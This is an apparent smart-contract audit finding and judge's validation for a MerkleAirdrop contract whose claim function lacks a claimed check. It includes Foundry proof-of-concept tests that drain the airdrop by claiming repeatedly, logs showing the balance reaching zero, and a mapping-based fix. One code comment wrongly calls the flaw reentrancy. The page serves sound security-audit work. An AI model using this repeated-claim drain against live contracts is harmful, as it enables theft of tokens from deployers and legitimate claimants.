AirDropper
AI First Flight #5
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Submission Details
Severity: high
Valid

People can claim the airdrop multiple times

comfortnurse021

Description The AirdropToken::claim function lacks a check to verify if a user has already utilized their Merkle tree leaf. Consequently, a malicious user could exploit this vulnerability to claim tokens multiple times using the same leaf, potentially leading to a significant depletion of the contract's token reserves.

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {

if (msg.value != FEE) {

revert MerkleAirdrop__InvalidFeeAmount();

}

bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));

@> // No check if leaf has already been used -> reentrancy attack

if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {

revert MerkleAirdrop__InvalidProof();

}

emit Claimed(account, amount);

i_airdropToken.safeTransfer(account, amount);

}

impact: A single user can fully drain the contract of tokens just by claiming multiple times.

Proof of Concept

This exploit is show in the MerkleAirdropTest::test_user_can_claim_multiple_times test.

function test_user_can_claim_multiple_times() public {
uint256 userStartingBalance = token.balanceOf(collectorOne);
uint256 airdropStartingBalance = token.balanceOf(address(airdrop));
uint256 fee = airdrop.getFee();
uint8 numberOfClaims = 4;
console.log("AirDrop sarting balance: ", airdropStartingBalance);
console.log("User sarting balance: ", userStartingBalance);
​
vm.deal(collectorOne, fee * numberOfClaims);
​
for (uint8 i = 0; i < 4; ++i) {
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
}
console.log("----Exploit-----");
​
uint256 userEndingBalance = token.balanceOf(collectorOne);
uint256 airdropEndingBalance = token.balanceOf(address(airdrop));
console.log("AirDrop ending balance: ", airdropEndingBalance);
console.log("User ending balance: ", userEndingBalance);
assertEq(userEndingBalance - userStartingBalance, numberOfClaims * amountToCollect);
}
[PASS] test_user_can_claim_multiple_times() (gas: 69497)
Logs:
AirDrop sarting balance: 100000000
User sarting balance: 0
----Exploit-----
AirDrop ending balance: 0
User ending balance: 100000000

Recommended Mitigation

Add a mapping that is updated when the prize is claimed by an address and add a if statement in the claim function that checks if the address has claimed before the prize
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

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